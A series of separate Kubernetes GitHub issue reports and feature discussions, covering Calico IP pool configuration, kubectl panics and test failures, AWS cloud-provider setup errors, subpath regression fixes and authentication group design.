<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i create my k8s cluster with kubeadm command \ kubeadm init --pod-network-cidr=10.51.0.0/16 --kubernetes-version=v1.12.2 --apiserver-advertise-address=192.168.190.102 --service-cidr=10.96.0.0/16  --token-ttl=0  -v=9 \ , and the 'calico_ipv4pool_cidr' from calico was '10.51.0.0/16'\r \r ! image  https://user-images.githubusercontent.com/6262327/48754956-9874a700-ecce-11e8-9996-02eb83133ff3.png \r ! image  https://user-images.githubusercontent.com/6262327/48754985-b4784880-ecce-11e8-960e-d1314d32c59a.png \r \r but  the customized pod ippool failed to work, still the default value \ 192.168.0.0/16\ \r ! image  https://user-images.githubusercontent.com/6262327/48755007-c6f28200-ecce-11e8-93a0-aa440c148d06.png \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  kubeadm init --pod-network-cidr=10.51.0.0/16 --kubernetes-version=v1.12.2 --apiserver-advertise-address=192.168.190.102 --service-cidr=10.96.0.0/16  --token-ttl=0  -v=9\r 2  kubectl apply -f  \\\r https://docs.projectcalico.org/v3.3/getting-started/kubernetes/installation/rbac.yaml\r  kubectl apply -f \\\r https://docs.projectcalico.org/v3.3/getting-started/kubernetes/installation/hosted/etcd.yaml\r wget https://docs.projectcalico.org/v3.3/getting-started/kubernetes/installation/hosted/calico.yaml\r change the 'calico_ipv4pool_cidr' value from 192.168.0.0/16 to your customized ippool\r kubectl apply -f calico.yaml\r \r and then u can create a new pod or just check the ippool value via calicoctl like bellow:\r etcd_endpoints=http://localhost:6666 calicoctl get ippool -o wide\r  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r vm\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux master01 4.17.2-1.el7.elrepo.x86_64  1 smp sat jun 16 11:18:11 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm v1.12.2\r - others:\r \r <!-- do not edit below this line -->\r 

hi,\r \r i have an interesting question about kubernetes muti-scheduler feature.\r how does kubernetes handle resource competition when multiple scheduler simultaneously scheduling pods?\r \r what if two schedulers schedule two different pods onto the same host, while the host can only hold one of them?\r \r just think about this scenario, a cluster with only one host, and two schedulers.\r if a user submits two pods, one for each scheduler. and this host can only hold one pod.\r these tow pods will scheduled onto the same host.\r \r in this scenario, how will kubernetes handle such situation?\r \r

currently, the syntax for the available bash scripts is not generalized and can  and imo must  be improved.\r \r e.g.\r  ${foo}bar => which expands foo \r instead of\r  $foobar => which expands foobar \r \r another improvement:\r  $i  =>  \ ${i}\  \r \r i already started working on pr  72933 but i'll close that one as builds are failing and it's hard to determine which change caused the errors.\r \r /cc @fejta @bentheelder @ixdy

this is a top-level/meta issue that may spawn sub-issues.  the  versioning.md  https://github.com/kubernetes/kubernetes/blob/master/docs/design/versioning.md  doc has been recently updated to cover a branching a branch scenario.  this is a rare or unlikely occurrence  depending on the teams velocity/needs , but important to plan for nonetheless.  refer to that doc for more details.  any assumptions of a x.y.z format need to be dealt with in k8s tooling as well as gke should we ever want/need to implement this.

getting a panic error when trying to do a rolling-update. any ideas?      ➜  nodetest git: master  ✗ kubectl rolling-update nodetest2 --image=814863397952.dkr.ecr.us-east-1.amazonaws.com/nodetest panic: runtime error: invalid memory address or nil pointer dereference  signal 0xb code=0x1 addr=0x20 pc=0x336457   goroutine 1  running : k8s.io/kubernetes/pkg/runtime.encode 0x0, 0x0, 0x1d145d8, 0xc82016de00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/runtime/codec.go:45 +0xf7 k8s.io/kubernetes/pkg/api.hashobject 0x1d145d8, 0xc82016de00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/helpers.go:156 +0xb2 k8s.io/kubernetes/pkg/kubectl.createnewcontrollerfromcurrentcontroller 0x1d1a540, 0xc8203e8dc0, 0x0, 0x0, 0xc82026d050, 0x7, 0x7fff5fbff87f, 0x9, 0x0, 0x0, ...      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/rolling_updater.go:575 +0x754 k8s.io/kubernetes/pkg/kubectl/cmd.runrollingupdate 0xc8201e6820, 0x1d13198, 0xc820074008, 0xc820245e00, 0xc8202645e0, 0x1, 0x2, 0xc82023f3e0, 0x0, 0x0      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/rollingupdate.go:253 +0x4234 k8s.io/kubernetes/pkg/kubectl/cmd.newcmdrollingupdate.func1 0xc820245e00, 0xc8202645e0, 0x1, 0x2      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/rollingupdate.go:87 +0x7d github.com/spf13/cobra.  command .execute 0xc820245e00, 0xc8202644a0, 0x2, 0x2, 0x0, 0x0      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/spf13/cobra/command.go:572 +0x869 github.com/spf13/cobra.  command .executec 0xc82013ba00, 0xc820245e00, 0x0, 0x0      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/spf13/cobra/command.go:662 +0x54e github.com/spf13/cobra.  command .execute 0xc82013ba00, 0x0, 0x0      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/spf13/cobra/command.go:618 +0x2d k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:28 +0xf0 main.main       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:28 +0x28  goroutine 18  chan receive : github.com/golang/glog.  loggingt .flushdaemon 0x18f7840      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:879 +0x67 created by github.com/golang/glog.init.1     /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:410 +0x297  goroutine 27  syscall : os/signal.loop       /usr/local/go/src/os/signal/signal_unix.go:22 +0x18 created by os/signal.init.1     /usr/local/go/src/os/signal/signal_unix.go:28 +0x37  goroutine 32  io wait : net.runtime_pollwait 0x1d4fe68, 0x72, 0xc82005c080      /usr/local/go/src/runtime/netpoll.go:157 +0x60 net.  polldesc .wait 0xc8203320d0, 0x72, 0x0, 0x0      /usr/local/go/src/net/fd_poll_runtime.go:73 +0x3a net.  polldesc .waitread 0xc8203320d0, 0x0, 0x0      /usr/local/go/src/net/fd_poll_runtime.go:78 +0x36 net.  netfd .read 0xc820332070, 0xc820411000, 0x800, 0x800, 0x0, 0x1d0f028, 0xc82005c080      /usr/local/go/src/net/fd_unix.go:232 +0x23a net.  conn .read 0xc820092010, 0xc820411000, 0x800, 0x800, 0x0, 0x0, 0x0      /usr/local/go/src/net/net.go:172 +0xe4 crypto/tls.  block .readfromuntil 0xc820330360, 0x1d50278, 0xc820092010, 0x5, 0x0, 0x0      /usr/local/go/src/crypto/tls/conn.go:455 +0xcc crypto/tls.  conn .readrecord 0xc82033e000, 0x13fb817, 0x0, 0x0      /usr/local/go/src/crypto/tls/conn.go:540 +0x2d1 crypto/tls.  conn .read 0xc82033e000, 0xc8203f6000, 0x1000, 0x1000, 0x0, 0x0, 0x0      /usr/local/go/src/crypto/tls/conn.go:901 +0x167 net/http.noteeofreader.read 0x1d1b420, 0xc82033e000, 0xc8202d0b58, 0xc8203f6000, 0x1000, 0x1000, 0x0, 0x0, 0x0      /usr/local/go/src/net/http/transport.go:1370 +0x67 net/http.  noteeofreader .read 0xc8202f8ae0, 0xc8203f6000, 0x1000, 0x1000, 0x0, 0x0, 0x0      <autogenerated>:126 +0xd0 bufio.  reader .fill 0xc8202f1620      /usr/local/go/src/bufio/bufio.go:97 +0x1e9 bufio.  reader .peek 0xc8202f1620, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0      /usr/local/go/src/bufio/bufio.go:132 +0xcc net/http.  persistconn .readloop 0xc8202d0b00      /usr/local/go/src/net/http/transport.go:876 +0xf7 created by net/http.  transport .dialconn     /usr/local/go/src/net/http/transport.go:685 +0xc78  goroutine 49  select : net/http.  persistconn .writeloop 0xc8202d0b00      /usr/local/go/src/net/http/transport.go:1009 +0x40c created by net/http.  transport .dialconn     /usr/local/go/src/net/http/transport.go:686 +0xc9d      the resource controller was originally created with the following yml:      apiversion: v1 kind: replicationcontroller metadata:   name: nodetest2   labels:     name: nodetest-new spec:   replicas: 1   selector:     name: nodetest-new   template:     metadata:       labels:         name: nodetest-new     spec:       imagepullsecrets:         - name: nectar-registry-pull-secret       containers:         - name: nodetest-container           image: 814863397952.dkr.ecr.us-east-1.amazonaws.com/nodetest:latest           ports:             - containerport: 8080               name: nodetest

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    no    what keywords did you search in kubernetes issues before filing this one?       yaml quote quotes    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.6    environment  : -   cloud provider or hardware configuration  : gce -   os    e.g. from /etc/os-release : alpine linux 3.4.0 -   kernel    e.g.  uname -a  : linux kash-api-4080102595-t21vs 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 linux -   install tools  : apk -   others  :    what happened  : when creating secrets/configmaps, it seems to be fairly random when values are expected to be surrounded by quotes or not.  sometimes it's numbers, other times it's string, and not always because of starting with non standard characters.     we use nodejs to generate our configurations, and  surprisingly  none of the libraries have support for forcing quotes around values, and are generating valid yaml for all our other use cases.   we're resorting to some post-generated 'sed' /magic/ to add the quotes, but this is not ideal.     is it possible that the yaml validation kubectl uses is too strict/broken when requiring values to be quoted or not?    what you expected to happen  :  to not require manually adding quotes after using a valid yaml generator    how to reproduce it    as minimally and precisely as possible : here's a configmap value that requires quoting   dbconnectiontimeout: '60'  or  remoteip: 'some-host-here'    anything else do we need to know  :

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  generated.asset  ---    is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :  today's hot.  commit b71def750f3ec1978b0e890e6fae106a20f33a9b    environment  :  build on ubuntu 16.04    what happened  :  git pull of latest code, then make release fails with      +++  0930 02:04:05  starting etcd instance etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp.k8s/tmp.fcfyjneiqq --listen-client-urls http://127.0.0.1:2379 --debug > \ /dev/null\  2>/dev/null waiting for etcd to come up. +++  0930 02:04:05  on try 1, etcd: : {\ action\ :\ set\ ,\ node\ :{\ key\ :\ /_test\ ,\ value\ :\ \ ,\ modifiedindex\ :3,\ createdindex\ :3}} +++  0930 02:04:06  running integration test cases running tests for apiversion: v1,apps/v1alpha1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1beta1,autoscaling/v1,batch/v1,batch/v2alpha1,certificates.k8s.io/v1alpha1, extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,policy/v1alpha1,rbac.authorization.k8s.io/v1alpha1,storage.k8s.io/v1beta1 +++  0930 02:04:07  running tests without code coverage   k8s.io/kubernetes/test/e2e/framework test/e2e/framework/gobindata_util.go:30: undefined: generated.asset test/e2e/framework/gobindata_util.go:33: undefined: generated.assetnames makefile:118: recipe for target 'test' failed make 1 :      test  error 1 +++  0930 02:05:19  cleaning up etcd +++  0930 02:05:19  integration test cleanup complete makefile:130: recipe for target 'test-integration' failed make:      test-integration  error 1 makefile:239: recipe for target 'release' failed make:      release  error 1         what you expected to happen  :  build to complete    how to reproduce it    as minimally and precisely as possible :  git pull; make release    anything else do we need to know  :  i saw the same thing yesterday on a slightly older commit, so this is not a very recent regression.

could not find anything about this, but would be nice to use petsets across clusters, for example database replication for read only databases to another cluster.   a possible first pass could be to make the dns entries of each pet resolve in the other clusters.

in some places we expect an ip where a hostname might suffice.  we should make a pass over the api and decide for each case and document/test it properly.  as per  1300 the \ must be ip\  fields can self-document as net.ip.  the hostname-or-ip fields we can think about decoding tricks.

it would be nice to support manual runs for cronjobs. today, iirc, a cronjob misses its schedule for whatever reason and we won't start it until the next time it's scheduled to run. at the very least, this could be a kubectl generator, eventually we may want to support it as part of the cj api.\r \r @stevekuznetsov since you were asking about it today\r \r @kubernetes/sig-apps-feature-requests \r \r

validated in case len r.policyrule.nonresourceurls  > 0 is useless. just for merge.\r \r ref to  47897

observations:\r seems it fails to tear down the master nodes?\r \r we bumped gcloud in e2e image, but https://github.com/kubernetes/kubernetes/issues/49673 seems not relevant - tried locally with 162.0.0 and still see the error.\r \r and also saw a lot of  found 4 nodes, but expected 3. your cluster may not behave correctly. \r \r sample log: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-gci-kubectl-skew-serial/1028?log log\r \r cc @rmmh @mrhohn

/cc @kubernetes/sig-cli-bugs \r \r this test has started failing on gke and gci-gki e2e tests:\r \r https://k8s-testgrid.appspot.com/release-master-blocking gci-gke\r https://k8s-testgrid.appspot.com/release-master-blocking gke\r \r example failure\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/12920\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/kubectl.go:457\r expected error:\r     <exec.codeexiterror>: {\r         err: {\r             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.188.213.188 --kubeconfig=/tmp/gke-kubecfg386178168 --server=http://127.0.0.1:45529 --namespace=e2e-tests-kubectl-nlzj2 exec nginx echo running in container      <nil>  w0810 18:25:44.244920    4112 http.go:342  error reading backend response: unexpected eof\ error: error sending request: post http://127.0.0.1:45529/api/v1/namespaces/e2e-tests-kubectl-nlzj2/pods/nginx/exec?command=echo&command=running&command=in&command=container&container=nginx&container=nginx&stderr=true&stdout=true: unexpected eof\     <nil> 0xc4211d3830 exit status 1 <nil> <nil> true  0xc4203e6828 0xc4203e6840 0xc4203e6858   0xc4203e6828 0xc4203e6840 0xc4203e6858   0xc4203e6838 0xc4203e6850   0x11bf750 0x11bf750  0xc420f2db60 <nil>}:\ command stdout:\ \ stderr:\ w0810 18:25:44.244920    4112 http.go:342  error reading backend response: unexpected eof\ error: error sending request: post http://127.0.0.1:45529/api/v1/namespaces/e2e-tests-kubectl-nlzj2/pods/nginx/exec?command=echo&command=running&command=in&command=container&container=nginx&container=nginx&stderr=true&stdout=true: unexpected eof\ \ error:\ exit status 1\ \ ,\r         },\r         code: 1,\r     }\r     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.188.213.188 --kubeconfig=/tmp/gke-kubecfg386178168 --server=http://127.0.0.1:45529 --namespace=e2e-tests-kubectl-nlzj2 exec nginx echo running in container      <nil>  w0810 18:25:44.244920    4112 http.go:342  error reading backend response: unexpected eof\r     error: error sending request: post http://127.0.0.1:45529/api/v1/namespaces/e2e-tests-kubectl-nlzj2/pods/nginx/exec?command=echo&command=running&command=in&command=container&container=nginx&container=nginx&stderr=true&stdout=true: unexpected eof\r         <nil> 0xc4211d3830 exit status 1 <nil> <nil> true  0xc4203e6828 0xc4203e6840 0xc4203e6858   0xc4203e6828 0xc4203e6840 0xc4203e6858   0xc4203e6838 0xc4203e6850   0x11bf750 0x11bf750  0xc420f2db60 <nil>}:\r     command stdout:\r     \r     stderr:\r     w0810 18:25:44.244920    4112 http.go:342  error reading backend response: unexpected eof\r     error: error sending request: post http://127.0.0.1:45529/api/v1/namespaces/e2e-tests-kubectl-nlzj2/pods/nginx/exec?command=echo&command=running&command=in&command=container&container=nginx&container=nginx&stderr=true&stdout=true: unexpected eof\r     \r     error:\r     exit status 1\r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2066   \r

is this a bug report or feature request?  :\r   \r   what happened  :\r new k8 cluster on aws by hand following docs at : https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r also using config file for aws in a file and referece the file in init.\r fails to start - stalls while creating kube-controller-manager with:\r \r      i1006 16:48:11.421975       1 controllermanager.go:109  version: v1.8.0\r      i1006 16:48:11.425600       1 leaderelection.go:174  attempting to acquire leader lease...\r      i1006 16:48:11.437910       1 leaderelection.go:184  successfully acquired lease kube-system/kube-controller-manager\r      w1006 16:48:11.438141       1 controllermanager.go:138  --use-service-account-credentials was specified without providing a --service-account-private-key-file\r      i1006 16:48:11.439510       1 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ 0f517bd9-aaac-11e7-8da7-0e6d35421f60\ , apiversion:\ v1\ , resourceversion:\ 2946\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' ip-172-30-0-69.aws-ermas.com became leader\r      i1006 16:48:11.457749       1 aws.go:847  building aws cloudprovider\r      i1006 16:48:11.457836       1 aws.go:810  zone not specified in configuration file; querying aws metadata service\r      e1006 16:48:11.672185       1 tags.go:94  tag \ kubernetescluster\  nor \ kubernetes.io/cluster/...\  not found; kubernetes may behave unexpectedly.\r      w1006 16:48:11.672207       1 tags.go:78  aws cloud - no clusterid filtering applied for shared resources; do not run multiple clusters in this az.\r      f1006 16:48:11.672265       1 controllermanager.go:151  error building controller context: no clusterid found.  a clusterid is required for the cloud provider to function properly.  this check can be bypassed by setting the allow-untagged-cloud option\r \r i cannot find any documentation on setting clusterid. where would i put the allow-untagged-cloud option? cannot find documentation on this either. classified as a bug either in documentation or default settings blocking the master from starting on a bare bones install using the supplied documentation.\r \r   what you expected to happen  :\r master to form and become ready. the docs work fine until aws is specific in the config file.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create file: ~/kubeadm.conf\r     - kind: masterconfiguration\r     - apiversion: kubeadm.k8s.io/v1alpha1\r     - cloudprovider: aws\r \r kubeadm init --config kubeadm.conf\r \r review the pod for the kube-controller-manager\r \r   anything else we need to know?  :\r \r - technically the master machine is realm joined. the machine is registered by its realm name not the amazon name and the kubectl get nodes shows the realm name of the machine, not the ec2 instance name.\r - also noticed the certificates are registered as the wrong machine name. @dreyk noted might be related to  44793. from another case  47695 that triggered my rebuilding the cluster to this point.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r      client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r \r      aws on t2-medium ec2 instance\r \r - os  e.g. from /etc/os-release :\r \r      centos linux 7  core \r \r - kernel  e.g.  uname -a  :\r \r      linux ip-172-30-0-69.aws-ermas.com 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r as  54288 which support specify proxy mode for local-up.sh is already in, we should update ipvs proxy local up way in readme.md \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

this issue is tracking the status of the fixes for functional regressions related to the design change required to address  cve-2017-1002101  https://github.com/kubernetes/kubernetes/issues/60813 .\r \r -  x   61076: subpath volume mounts cannot be used with secret, configmap, projected, or downwardapi volumes.  fixed in 1.10.0, 1.9.5, 1.8.10, and 1.7.15 .\r -  x   61178: cleanup of subpath volume mounts, and setup of subpath volume mounts when restarting a container does not work properly.  fixed in 1.10.0, 1.9.5, 1.8.10, and 1.7.15 .\r -  x   61283: subpath mounts in pods using fsgroup do not have set-gid bits set properly.  fixed in 1.10.0, 1.9.7, 1.8.11, 1.7.16 .\r -  x   61372: volume reconstruction does not work with persistent volumes mounted via subpath.  fixed in 1.10.0, 1.9.7, 1.8.11, 1.7.16 .\r -  x   61377: special types of files, such as unix sockets, cannot be mounted via subpath.  fixed in 1.10.1, 1.9.7, 1.8.11. \r -  x   62752: createcontainerconfigerror : failed to prepare subpath for volumemount  possibly only for readonly volumes .  fixed in kubernetes v1.8.14+, v1.9.9+, v1.10.4+ .\r -      61446: volume reconstruction does not work with host path volumes mounted via subpath.  no immediate plans to address. \r -      61545: subpath mounts nested within atomic writer volumes  configmap, secret, downwardapi, projected  do not work.  no immediate plans to address. \r \r   / /assign @msau42 @jsafrane @saad-ali @childsb

what happened  :\r from https://github.com/kubernetes/kubernetes/issues/53754 issuecomment-371092964.\r \r we used to allow using  ip  or  ip:port  in  --healthz-bind-address  and  --metrics-bind-address . now the validation on kubeproxyconfig disallow that  it only allows  ip:port  :\r https://github.com/kubernetes/kubernetes/blob/dbcb2c9b27c16da8bd35e0f0898af552bb5ba9fd/pkg/proxy/apis/kubeproxyconfig/validation/validation.go l192-l212. this seems to break backward compatibility for those two flags.\r \r please comment if i'm missing something.\r cc @xiangpengzhao @avanpourm \r \r   how to reproduce it  as minimally and precisely as possible   :\r try  --metrics-bind-address=0.0.0.0  with kube-proxy.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.1688+c2f67c9459499d-dirty\ , gitcommit:\ c2f67c9459499d3ae5d03f6d54ecc4cb05df3e22\ , gittreestate:\ dirty\ , builddate:\ 2018-03-26t23:45:13z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

failing jobs\r  sig-release-1.12-all gke-1.12-1.11-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-1.12-all gke-1.12-1.11-downgrade-cluster-parallel \r   failing tests\r  beforesuite  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-beta-stable1-downgrade-cluster-parallel/3425 \r   triage results\r  beforesuite  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-beta-stable1-downgrade-cluster-parallel&test=beforesuite \r \r failing tests . looks like its a testing failure.\r \r  /  /cc @tpepper @aishsundar

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r pod request objects generated by a job are sent to admission controllers without the  metadata.name  field being specified. \r \r   what you expected to happen  :\r \r i see the  metadata.generatename  field, but would expect the name to have been generated prior to the object being submitted to the admission controller similar to how deployments seem to handle it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - deploy an admission controller that targets  pod  objects for  create  and  update  actions. -  example  https://github.com/phenixblue/imageswap-webhook  \r - create a kubernetes job\r - watch for failures for the incoming pod request objects generated by the job   kubectl logs  on the webhook pod \r \r failures are centered on defining a variable from the expected workload by referencing  request.object.metadata.name \r \r   anything else we need to know?  :\r \r if you use the example webhook mentioned above, add  pprint request_info   above the variable definitions on line 18  in the  app/imageswap-webhook-deploy.py  file to print the entire request object as it comes into the webhook server\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.7\r - cloud provider or hardware configuration: pks on vmware\r

cadvisor provides potentially sensitive data and there's currently no way to block access with anything other than iptables.

i have a fully declarative setup for our kubernetes clusters using cloudformation, written in jsonnet, which i've discussed with a few contributors here.  i'd love to contribute this and hook it into ongoing updates to the cluster bootstrap process.  two questions: 1. is this something that would be welcome? 2. where would it live?

upon successful authentication, authentication plug-ins are responsible creating the  user.info  object. authorization plugins are expected to call that object's  getgroups   string  method to determine which groups a user belongs to.   the main problem with binding authn and groups together in this way is that not every authn method has a well-defined notion of groups, in which cases you'd want some other plug-in to populate groups. the oidcauthenitcator is motivating example  for me anyhow : openid connect has well-defined authentication semantics, but there's no standard around group membership.  in an discussion with @erictune and @sym3tri, we outlined several different possible solutions to the problem: 1. there is a new method added to  user.info  with the signature  externalgroups   bool ; if this flag is true, during the authorizationattribute building phase  before the authz plug in is called , the authz attr builder will call out to some groupifier plug-in which will populate the groups in the  info  object, and pass it along to the authz plug-in    ! groups_1  https://cloud.githubusercontent.com/assets/9629/14194892/f9326460-f767-11e5-9d5a-6f63d09c75eb.png   the advantage to this solution is that authorizers do no have to worry about group population, so very little needs to change on their end. a disadvantage is that it's rather coarse: the authorizer might only care about a user's membership in a particular group, but instead they have to get all of them  which in a large company might be a sizeable number, and in some cases  for example some ldap configurations  such enumeration might be disallowed by policy  1. a second solution is similar to the first, except that authorizers are responsible for calling out to the groupifier.    ! groups_2  https://cloud.githubusercontent.com/assets/9629/14194983/26df5cdc-f769-11e5-8357-d657565600dd.png   the advantage here is that authorizers can ask the groups api which groups they'd like to check the membership of  eg.  checkmembership user, group  bool   instead of having to ask for them all, since the authorizer knows what groups it is interested in.  the disadvantage here is that all authorizers now have to deal with getting groups.  with either solution, there would have to be a reasonable groups api defined for plugins, and some reference implementation - an initial implementation could be a file based groups solution. i'd be most interested in a web hook type solution  or, if it's time for that sort of thing, a grpc based one

from  2437:  thockin: frankly i find the idea of libs binding flags to be suspect from the beginning, doubly so if that imposes particular flag libs on the caller. instinct would lead me to say \ just fill a struct and let the main pkg define flags\ . is that a non-starter?  smarterclayton: the point of this was to prevent everyone from inventing their own flags. both major flag libs are compatible.  thockin: i get the point, but imo flags are strictly the domain of the app. we use flags-in-libs pervasively in google and it's sort of a nightmare, in my opinion, though reasonable people disagree. without flag namespacing, it's a slippery slope, and i don't want most of our code following this pattern.  thockin: as an example of why i dislike it: skydns uses our bindflags... and they end up with a flag called -master. that is a thoroughly unhelpful flag name. it should have been --kubernetes-master or something. we can not, in a library, predict what flag names will make sense in an app, and we should not pretend we can.  smarterclayton: the counter argument here is that having 29 different flag names for the same security params is worse.  this was mostly targeted at that.  and if master doesn't have consistent meaning across our commands  kubelet, proxy, client , that's just as confusing  thockin: just because they can be different doesn't mean they will be. simply being able to prefix them all with \ k8s-\  is \ different\  but not substantively so.  as a compromise, i could live with a lib that exposed the common flags and produced a set of common structs or an interface which was mandatory for any client binary inside our own codebase, but optional for clients like skydns. bonus points if the flag names could be trivially prefixed, so that this lib was usable by skydns in a sane way.  smarterclayton: that makes sense to me.

in the last few weeks we've received a couple of reports of the scheduler not spreading pods as expected. we haven't changed this code recently so i strongly suspect it is wai, but it seems worth investigating anyway.  http://stackoverflow.com/questions/37494314/kubernetes-pods-are-not-spreaded-across-different-nodes http://stackoverflow.com/questions/37784480/avoiding-kubernetes-scheduler-to-run-all-pods-in-single-node-of-kubernetes-clust  we should investigate  1  if you request and limit 0, does it spread evenly  taking into account system pods, of course  using the default small mem/cpu we give to zero-resource pods  2  if you use a normal request and/or limit, does it spread properly  taking into account system pods, of course

